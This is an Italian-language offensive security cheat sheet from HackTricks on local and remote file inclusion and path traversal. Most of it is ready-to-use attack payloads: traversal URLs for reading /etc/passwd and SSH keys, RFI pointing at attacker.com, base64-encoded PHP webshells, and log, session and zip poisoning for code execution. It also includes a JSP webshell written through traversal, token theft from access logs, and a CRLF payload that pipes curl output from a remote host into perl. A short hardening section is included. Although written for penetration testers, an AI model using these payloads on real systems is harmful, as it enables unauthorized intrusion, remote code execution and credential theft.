File Inclusion/Path traversal
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
File Inclusion
Remote File Inclusion (RFI): Il file viene caricato da un server remoto (Meglio: puoi scrivere il codice e il server lo eseguirà ). In php questo è disabilitato di default (allow_url_include).
Local File Inclusion (LFI): Il server carica un file locale.
La vulnerabilitĂ si verifica quando lâutente può in qualche modo controllare il file che verrĂ caricato dal server.
Funzioni PHP vulnerabili: require, require_once, include, include_once
Uno strumento interessante per sfruttare questa vulnerabilitĂ : https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
*Mescolando diverse liste LFI nix e aggiungendo altri percorsi ho creato questa:
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
Prova anche a cambiare / con \
Prova anche ad aggiungere ../../../../../
Una lista che usa diverse tecniche per trovare il file /etc/password (per verificare se la vulnerabilità esiste) è disponibile qui
Windows
Merge di diverse wordlists:
Prova anche a cambiare / con \
Prova anche a rimuovere C:/ e aggiungere ../../../../../
Una lista che usa diverse tecniche per trovare il file /boot.ini (per verificare se la vulnerabilità esiste) è disponibile qui
OS X
Controlla la lista LFI di linux.
Basic LFI and bypasses
Tutti gli esempi sono per Local File Inclusion ma possono essere applicati anche a Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
traversal sequences rimosse non ricorsivamente
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Bypass lâaggiunta di ulteriori caratteri alla fine della stringa fornita (bypass di: $_GET[âparamâ].âphpâ)
http://example.com/index.php?page=../../../etc/passwd%00
Questo è risolto a partire da PHP 5.4
Codifica
Puoi usare codifiche non standard come double URL encode (e altre):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Dalla cartella esistente
Forse il back-end sta controllando il percorso della cartella:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Esplorare le directory del file system su un server
Il file system di un server può essere esplorato ricorsivamente per identificare directory, non solo file, impiegando certe tecniche. Questo processo comporta la determinazione della profonditĂ delle directory e il probing per lâesistenza di cartelle specifiche. Di seguito un metodo dettagliato per ottenerlo:
- Determinare la profonditĂ delle directory: Accertare la profonditĂ della directory corrente recuperando con successo il file
/etc/passwd(applicabile se il server è basato su Linux). Un esempio di URL potrebbe essere strutturato come segue, indicando una profondità di tre:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Sonda le cartelle: Aggiungi il nome della cartella sospetta (es.,
private) allâURL, poi torna a/etc/passwd. Il livello di directory aggiuntivo richiede di incrementare la profonditĂ di uno:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Interpretare i risultati: La risposta del server indica se la cartella esiste:
- Errore / Nessun output: La cartella
privateprobabilmente non esiste nella posizione specificata. - Contenuto di
/etc/passwd: La presenza della cartellaprivateè confermata.
- Esplorazione ricorsiva: Le cartelle scoperte possono essere ulteriormente esplorate per sottodirectory o file usando la stessa tecnica o i tradizionali metodi di Local File Inclusion (LFI).
Per esplorare directory in posizioni diverse del file system, regola il payload di conseguenza. Per esempio, per verificare se /var/www/ contiene una directory private (assumendo che la directory corrente sia a una profonditĂ di 3), usa:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation è un metodo impiegato per manipolare i percorsi di file nelle applicazioni web. Viene spesso usato per accedere a file ristretti bypassando certe misure di sicurezza che aggiungono caratteri alla fine dei percorsi. Lâobiettivo è creare un percorso che, una volta alterato dalla misura di sicurezza, punti comunque al file desiderato.
In PHP, diverse rappresentazioni di un percorso di file possono essere considerate equivalenti a causa della natura del file system. Ad esempio:
/etc/passwd,/etc//passwd,/etc/./passwd, e/etc/passwd/sono tutti trattati come lo stesso percorso.- Quando gli ultimi 6 caratteri sono
passwd, aggiungere una/(rendendolopasswd/) non cambia il file di destinazione. - Analogamente, se
.phpviene aggiunto a un percorso di file (comeshellcode.php), aggiungere/.alla fine non altera il file a cui si accede.
Gli esempi forniti dimostrano come utilizzare path truncation per accedere a /etc/passwd, un obiettivo comune a causa del suo contenuto sensibile (informazioni sugli account utente):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
In questi scenari, il numero di traversamenti necessari potrebbe aggirarsi intorno a 2027, ma questo numero può variare a seconda della configurazione del server.
- Using Dot Segments and Additional Characters: Sequenze di traversamento (
../) combinate con segmenti punto extra e caratteri possono essere usate per navigare il file system, ignorando efficacemente le stringhe aggiunte dal server. - Determining the Required Number of Traversals: Con tentativi ed errori, si può trovare il numero preciso di
../necessario per raggiungere la directory root e poi/etc/passwd, assicurando che eventuali stringhe aggiunte (come.php) vengano neutralizzate ma il percorso desiderato (/etc/passwd) rimanga intatto. - Starting with a Fake Directory: Ă pratica comune iniziare il percorso con una directory non esistente (come
a/). Questa tecnica viene usata come misura precauzionale o per soddisfare i requisiti della logica di parsing dei percorsi del server.
Quando si impiegano tecniche di path truncation, è cruciale comprendere il comportamento di parsing dei percorsi del server e la struttura del file system. Ogni scenario potrebbe richiedere un approccio diverso, e i test sono spesso necessari per trovare il metodo piÚ efficace.
Questa vulnerabilità è stata corretta in PHP 5.3.
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
In php questo è disabilitato di default perchÊ allow_url_include è Off. Deve essere On perchÊ funzioni, e in tal caso potresti includere un file PHP dal tuo server e ottenere RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Se per qualche motivo allow_url_include è On, ma PHP sta filtering lâaccesso a pagine web esterne, secondo questo post, potresti usare ad esempio il data protocol con base64 per decodificare un codice PHP in b64 e ottenere RCE:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
Tip
Nel codice precedente, il finale
+.txtè stato aggiunto perchĂŠ lâattaccante aveva bisogno di una stringa che terminasse con.txt, quindi la stringa finisce con quello e, dopo la b64 decode, quella parte restituirĂ solo dati spazzatura e il vero codice PHP verrĂ incluso (e quindi eseguito).
Un altro esempio senza usare il protocollo php:// sarebbe:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Elemento root in Python
In Python, in un codice come questo:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Se lâutente passa un absolute path a file_name, il percorso precedente viene semplicemente rimosso:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
Ă il comportamento previsto secondo la documentazione:
Se un componente è un percorso assoluto, tutti i componenti precedenti vengono scartati e la concatenazione continua dal componente di percorso assoluto.
Java: elencare directory
Sembra che se hai un Path Traversal in Java e richiedi una directory invece di un file, venga restituito lâelenco della directory. Questo non succede in altri linguaggi (per quanto ne so).
Top 25 parametri
Ecco la lista dei top 25 parametri che potrebbero essere vulnerabili a local file inclusion (LFI) vulnerabilities (da link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI usando wrapper e protocolli PHP
php://filter
I filtri PHP permettono di eseguire operazioni basilari di modifica sui dati prima che vengano letti o scritti. Ci sono 5 categorie di filtri:
- String Filters:
string.rot13string.toupperstring.tolowerstring.strip_tags: Rimuove i tag dai dati (tutto ciò che è tra i caratteri â<â e â>â)- Nota che questo filtro è scomparso nelle versioni moderne di PHP
- Conversion Filters
convert.base64-encodeconvert.base64-decodeconvert.quoted-printable-encodeconvert.quoted-printable-decodeconvert.iconv.*: Trasforma in una diversa codifica (convert.iconv.<input_enc>.<output_enc>). Per ottenere la lista di tutte le codifiche supportate esegui in console:iconv -l
Warning
Abusando del filtro di conversione
convert.iconv.*puoi generare testo arbitrario, il che potrebbe essere utile per scrivere testo arbitrario o far sĂŹ che una funzione come include elabori testo arbitrario. Per maggiori informazioni controlla LFI2RCE via php filters.
- Compression Filters
zlib.deflate: Comprime il contenuto (utile se si esfiltra molta informazione)zlib.inflate: Decomprime i dati- Encryption Filters
mcrypt.*: Deprecatedmdecrypt.*: Deprecated- Altri filtri
- Eseguendo in php
var_dump(stream_get_filters());puoi trovare un paio di filtri inaspettati: consumeddechunk: inverte lâencoding HTTP chunkedconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,ÂŁhellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
Warning
La parte âphp://filterâ non distingue tra maiuscole e minuscole
Using php filters as oracle to read arbitrary files
In this post viene proposta una tecnica per leggere un file locale senza che il server restituisca lâoutput. Questa tecnica si basa su una esfiltrazione booleana del file (char by char) usando php filters come oracle. Questo perchĂŠ i php filters possono essere usati per rendere un testo sufficientemente grande da far php lanciare unâeccezione.
Nel post originale trovi una spiegazione dettagliata della tecnica, ma qui câè un riassunto rapido:
- Use the codec
UCS-4LEper lasciare il carattere iniziale del testo allâinizio e far aumentare la dimensione della stringa esponenzialmente. - Questo viene usato per generare un testo cosĂŹ grande quando la lettera iniziale è indovinata correttamente che php scatenerĂ un errore
- Il filtro dechunk rimuoverà tutto se il primo char non è an hexadecimal, cosÏ possiamo sapere se il primo char è hex.
- Questo, combinato con il precedente (e altri filters a seconda della lettera indovinata), ci permetterĂ di indovinare una lettera allâinizio del testo osservando quando applichiamo abbastanza trasformazioni per farla non essere piĂš un carattere esadecimale. PerchĂŠ se è hex, dechunk non la cancellerĂ e la bomba iniziale farĂ scattare un errore in php.
- Il codec convert.iconv.UNICODE.CP930 trasforma ogni lettera nella successiva (quindi dopo questo codec: a -> b). Questo ci permette di scoprire se la prima lettera è una
a, per esempio, perchĂŠ se applichiamo 6 volte questo codec a->b->c->d->e->f->g la lettera non è piĂš un carattere esadecimale, quindi dechunk non la elimina e lâerrore php viene innescato perchĂŠ si moltiplica con la bomba iniziale. - Usando altre trasformazioni come rot13 allâinizio è possibile effettuare un leak di altri char come n, o, p, q, r (e altri codec possono essere usati per spostare altre lettere nellâintervallo hex).
- Quando il char iniziale è un numero è necessario codificarlo in base64 e ottenere le prime 2 lettere per il leak del numero.
- Il problema finale è vedere come leakare piĂš della lettera iniziale. Usando memory order filters come convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE è possibile cambiare lâordine dei char e portare in prima posizione altre lettere del testo.
- E per poter ottenere ulteriori dati lâidea è generare 2 bytes di junk data allâinizio con convert.iconv.UTF16.UTF16, applicare UCS-4LE per farli pivotare con i successivi 2 byte, e delete the data until the junk data (questo rimuoverĂ i primi 2 byte del testo iniziale). Continuare cosĂŹ finchĂŠ non si raggiunge il bit desiderato da leakare.
Nel post è stato anche rilasciato uno strumento per eseguire questo automaticamente: php_filters_chain_oracle_exploit.
php://fd
Questo wrapper permette di accedere ai file descriptors che il processo ha aperti. Potenzialmente utile per esfiltrare il contenuto di file aperti:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
You can also use php://stdin, php://stdout and php://stderr to access the descrittori di file 0, 1 e 2 respectively (non sono sicuro di come questo possa essere utile in un attacco)
zip:// and rar://
Carica un file Zip o Rar contenente una PHPShell e accedi ad esso.
Per poter abusare del protocollo rar è necessario che venga specificamente attivato.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Nota che questo protocollo è limitato dalle configurazioni di PHP allow_url_open e allow_url_include
expect://
Expect deve essere attivato. Puoi eseguire codice usando questo:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Specifica il tuo payload nei parametri POST:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Un file .phar può essere utilizzato per eseguire codice PHP quando unâapplicazione web sfrutta funzioni come include per il caricamento di file. Lo snippet PHP mostrato di seguito dimostra la creazione di un file .phar:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Per compilare il file .phar, eseguire il seguente comando:
php --define phar.readonly=0 create_path.php
Al momento dellâesecuzione verrĂ creato un file chiamato test.phar, che potrebbe essere sfruttato per vulnerabilitĂ di Local File Inclusion (LFI).
Nei casi in cui lâLFI si limiti solamente alla lettura di file senza eseguire il codice PHP al loro interno, tramite funzioni come file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), o filesize(), si può tentare lo sfruttamento di una vulnerabilitĂ di deserialization. Questa vulnerabilità è legata alla lettura di file usando il protocollo phar.
Per una comprensione dettagliata dello sfruttamento di vulnerabilitĂ di deserialization nel contesto dei file .phar, fare riferimento al documento linkato qui sotto:
Phar Deserialization Exploitation Guide
CVE-2024-2961
à stato possibile abusare any arbitrary file read from PHP that supports php filters per ottenere una RCE. La descrizione dettagliata può essere found in this post.
Sintesi molto rapida: un 3 byte overflow nellâPHP heap è stato abusato per alter the chain of free chunks di una specifica dimensione allo scopo di poter write anything in any address, quindi è stato aggiunto un hook per chiamare system.
Ă stato possibile allocare chunks di dimensioni specifiche abusando di piĂš php filters.
Altri protocolli
Controllare altri possibili protocols to include here:
- php://memory and php://temp â Scrivere in memoria o in un file temporaneo (non sono sicuro di come questo possa essere utile in un file inclusion attack)
- file:// â Accesso al filesystem locale
- http:// â Accesso a URL HTTP(s)
- ftp:// â Accesso a URL FTP(s)
- zlib:// â Compression Streams
- glob:// â Trova pathnames che corrispondono al pattern (Non ritorna nulla di stampabile, quindi non molto utile qui)
- ssh2:// â Secure Shell 2
- ogg:// â Audio streams (Non utile per leggere file arbitrari)
LFI via PHPâs âassertâ
I rischi di Local File Inclusion (LFI) in PHP sono particolarmente alti quando si tratta della funzione âassertâ, che può eseguire codice allâinterno di stringhe. Questo è particolarmente problematico se lâinput contenente caratteri di directory traversal come â..â viene controllato ma non adeguatamente sanitizzato.
Ad esempio, il codice PHP potrebbe essere progettato per prevenire directory traversal in questo modo:
assert("strpos('$file', '..') === false") or die("");
Sebbene questo miri a impedire la traversal, crea involontariamente un vettore per code injection. Per sfruttarlo per leggere il contenuto dei file, un attaccante potrebbe usare:
' and die(highlight_file('/etc/passwd')) or '
Analogamente, per eseguire comandi di sistema arbitrari, si potrebbe usare:
' and die(system("id")) or '
Ă importante URL-encode these payloads.
PHP Blind Path Traversal
Warning
Questa tecnica è rilevante nei casi in cui tu controlli il file path di una PHP function che accesserà un file ma non vedrai il contenuto del file (come una semplice chiamata a
file()) perchĂŠ il contenuto non viene mostrato.
In this incredible post è spiegato come un blind path traversal possa essere abusato via PHP filter per exfiltrate the content of a file via an error oracle.
In sintesi, la tecnica utilizza la codifica âUCS-4LEâ per rendere il contenuto di un file cosĂŹ grande che la PHP function che apre il file scatenerĂ un errore.
Poi, per leak the first char viene usato il filter dechunk assieme ad altri come base64 o rot13 e infine i filter convert.iconv.UCS-4.UCS-4LE e convert.iconv.UTF16.UTF-16BE vengono utilizzati per posizionare altri chars allâinizio e leakarli.
Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs
Per i dettagli tecnici controlla il post menzionato!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
Quando il codice server-side che riceve/carica file costruisce il path di destinazione usando dati controllati dallâutente (es. un filename o URL) senza canonicalizzare e validare, segmenti .. e percorsi assoluti possono uscire dalla directory prevista e causare una scrittura arbitraria di file. Se puoi posizionare il payload in una directory esposta al web, di solito ottieni RCE non autenticata inserendo una webshell.
Tipico flusso di sfruttamento:
- Individua una write primitive in un endpoint o in un background worker che accetta un path/filename e scrive contenuto su disco (es. message-driven ingestion, XML/JSON command handlers, ZIP extractors, ecc.).
- Determina le directory esposte al web. Esempi comuni:
- Apache/PHP:
/var/www/html/ - Tomcat/Jetty:
<tomcat>/webapps/ROOT/â dropshell.jsp - IIS:
C:\inetpub\wwwroot\â dropshell.aspx - Prepara un percorso con traversal che esca dalla directory di storage prevista verso il webroot e includi il contenuto della tua webshell.
- Naviga al payload caricato ed esegui comandi.
Note:
- Il servizio vulnerabile che effettua la scrittura potrebbe ascoltare su una porta non-HTTP (es., un JMF XML listener su TCP 4004). Il portale web principale (porta diversa) servirĂ poi il tuo payload.
- Sui stack Java, queste scritture di file sono spesso implementate con semplici concatenazioni
File/Paths. La mancanza di canonicalizzazione/allow-listing è il difetto principale.
Generic XML/JMF-style example (product schemas vary â the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Hardening che mitiga questa classe di bug:
- Risolvi a un percorso canonico e verifica che sia un discendente di una directory base presente nella allow-list.
- Rifiuta qualsiasi percorso che contenga
.., root assoluti, o lettere di unitĂ ; preferisci nomi di file generati. - Esegui il writer con un account a basso privilegio e separa le directory di scrittura dalle root servite.
Remote File Inclusion
Spiegato in precedenza, follow this link.
Via file di log Apache/Nginx
Se il server Apache o Nginx è vulnerabile a LFI nella funzione include puoi provare ad accedere a /var/log/apache2/access.log or /var/log/nginx/access.log, inserire nel user agent o in un GET parameter una php shell come <?php system($_GET['c']); ?> e includere quel file
Warning
Nota che se usi le virgolette doppie per la shell invece delle virgolette semplici, le virgolette doppie verranno modificate nella stringa âquote;â, PHP genererĂ un errore e niente altro verrĂ eseguito.
Inoltre, assicurati di scrivere correttamente il payload o PHP darĂ errore ogni volta che tenterĂ di caricare il file di log e non avrai una seconda opportunitĂ .
Questo può essere fatto anche in altri log ma fai attenzione, il codice allâinterno dei log potrebbe essere URL encoded e questo potrebbe distruggere la Shell. Lâheader authorisation âbasicâ contiene âuser:passwordâ in Base64 ed è decodificato allâinterno dei log. La PHPShell potrebbe essere inserita dentro questo header.
Altri possibili percorsi dei log:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Leggere i log di accesso per raccogliere GET-based auth tokens (token replay)
Molte app accettano per errore session/auth tokens tramite GET (es. AuthenticationToken, token, sid). Se hai una primitive di path traversal/LFI che ti permette di accedere ai log del web server, puoi rubare quei token dagli access log e riutilizzarli per bypassare completamente lâautenticazione.
How-to:
- Usa il traversal/LFI per leggere il log di accesso del web server. Posizioni comuni:
- /var/log/apache2/access.log, /var/log/httpd/access_log
- /var/log/nginx/access.log
- Alcuni endpoint restituiscono le letture di file codificate in Base64. In tal caso, decodifica localmente e ispeziona le righe del log.
- Grep per richieste GET che includono un parametro token e catturarne il valore, quindi riutilizzalo contro il punto di ingresso dellâapplicazione.
Example flow (generic):
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target
Decodifica il body se è Base64, quindi riproduci un token catturato:
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target
Note:
- Tokens in URLs vengono registrati per impostazione predefinita; non accettare mai bearer tokens via GET in sistemi di produzione.
- Se lâapp supporta piĂš token names, cerca chiavi comuni come AuthenticationToken, token, sid, access_token.
- Ruota qualsiasi tokens che possa essere leaked nei log.
Via Email
Invia una mail a un account interno (user@localhost) contenente il tuo PHP payload come <?php echo system($_REQUEST["cmd"]); ?> e prova a includerla nella mail dellâutente con un percorso come /var/mail/<USERNAME> o /var/spool/mail/<USERNAME>
Via /proc/*/fd/*
- Upload molti shells (per esempio: 100)
- Include http://example.com/index.php?page=/proc/$PID/fd/$FD, con $PID = PID del processo (può essere brute forced) e $FD il file descriptor (può essere brute forced anche)
Via /proc/self/environ
Come un file di log, invia il payload nello User-Agent; sarĂ riflesso allâinterno del file /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Tramite upload
Se puoi caricare un file, inietta semplicemente il shell payload al suo interno (es.: <?php system($_GET['c']); ?>).
http://example.com/index.php?page=path/to/uploaded/file.png
Per mantenere il file leggibile è meglio iniettare nei metadati delle immagini/doc/pdf
Via Zip fie upload
Upload a ZIP file contenente un PHP shell compresso e accedi:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Via sessioni PHP
Controlla se il sito usa sessioni PHP (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
In PHP queste sessions sono memorizzate nei file /var/lib/php5/sess\[PHPSESSID]_
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Imposta il cookie su <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Usa la LFI per includere il file di sessione PHP
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Via ssh
Se ssh è attivo, verifica quale utente viene utilizzato (/proc/self/status & /etc/passwd) e prova ad accedere a <HOME>/.ssh/id_rsa
Via vsftpd logs
I log del server FTP vsftpd sono ubicati in /var/log/vsftpd.log. Nel caso in cui sia presente una vulnerabilitĂ di Local File Inclusion (LFI), e sia possibile accedere a un server vsftpd esposto, si possono considerare i seguenti passaggi:
- Iniettare un payload PHP nel campo username durante il processo di login.
- Dopo lâiniezione, utilizzare la LFI per recuperare i log del server da /var/log/vsftpd.log.
Via php base64 filter (using base64)
Come mostrato in this articolo, il PHP base64 filter ignora i caratteri non base64. Puoi usare questo comportamento per bypassare il controllo dellâestensione del file: se fornisci un base64 che termina con â.phpâ, esso semplicemente ignorerĂ il â.â e aggiungerĂ âphpâ al base64. Ecco un esempio di payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Via php filters (nessun file necessario)
This writeup spiega che puoi usare php filters to generate arbitrary content come output. Il che fondamentalmente significa che puoi generate arbitrary php code per lâinclude without needing to write it into a file.
Via segmentation fault
Upload un file che verrĂ memorizzato come temporary in /tmp, poi nella same request, causa un segmentation fault, e quindi il temporary file wonât be deleted e puoi cercarlo.
LFI2RCE via Segmentation Fault
Via Nginx temp file storage
Se trovi una Local File Inclusion e Nginx è in esecuzione davanti a PHP potresti essere in grado di ottenere RCE con la seguente tecnica:
Via PHP_SESSION_UPLOAD_PROGRESS
Se trovi una Local File Inclusion anche se donât have a session e session.auto_start è Off. Se fornisci il PHP_SESSION_UPLOAD_PROGRESS nei dati multipart POST, PHP enable the session for you. Potresti abusarne per ottenere RCE:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Via temp file uploads in Windows
Se trovi una Local File Inclusion e il server è in esecuzione su Windows potresti ottenere RCE:
Via pearcmd.php + URL args
As explained in this post, the script /usr/local/lib/phppearcmd.php exists by default in php docker images. Moreover, itâs possible to pass arguments to the script via the URL because itâs indicated that if a URL param doesnât have an =, it should be used as an argument. See also watchTowrâs write-up and Orange Tsaiâs âConfusion Attacksâ.
La seguente request crea un file in /tmp/hello.php con il contenuto <?=phpinfo()?>:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Il seguente sfrutta una vuln CRLF per ottenere RCE (da here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Tramite phpinfo() (file_uploads = on)
Se hai trovato una Local File Inclusion e un file che espone phpinfo() con file_uploads = on puoi ottenere RCE:
Tramite compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Se hai trovato una Local File Inclusion e puoi exfiltrate the path del file temporaneo MA il server sta controllando se il file da includere ha PHP marks, puoi provare a bypassare quel controllo con questa Race Condition:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Tramite eternal waiting + bruteforce
Se puoi abusare della LFI per upload temporary files e far sĂŹ che il server hang lâesecuzione PHP, potresti poi brute force filenames durante hours per trovare il file temporaneo:
Per Fatal Error
Se includi uno qualsiasi dei file /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Devi includere lo stesso file 2 time per generare quellâerrore).
Non so quanto questo sia utile ma potrebbe esserlo.
Anche se causi un PHP Fatal Error, i file temporanei PHP uploaded vengono eliminati.
.png)
References
-
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
-
watchTowr â We need to talk about PHP (pearcmd.php gadget)
-
When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
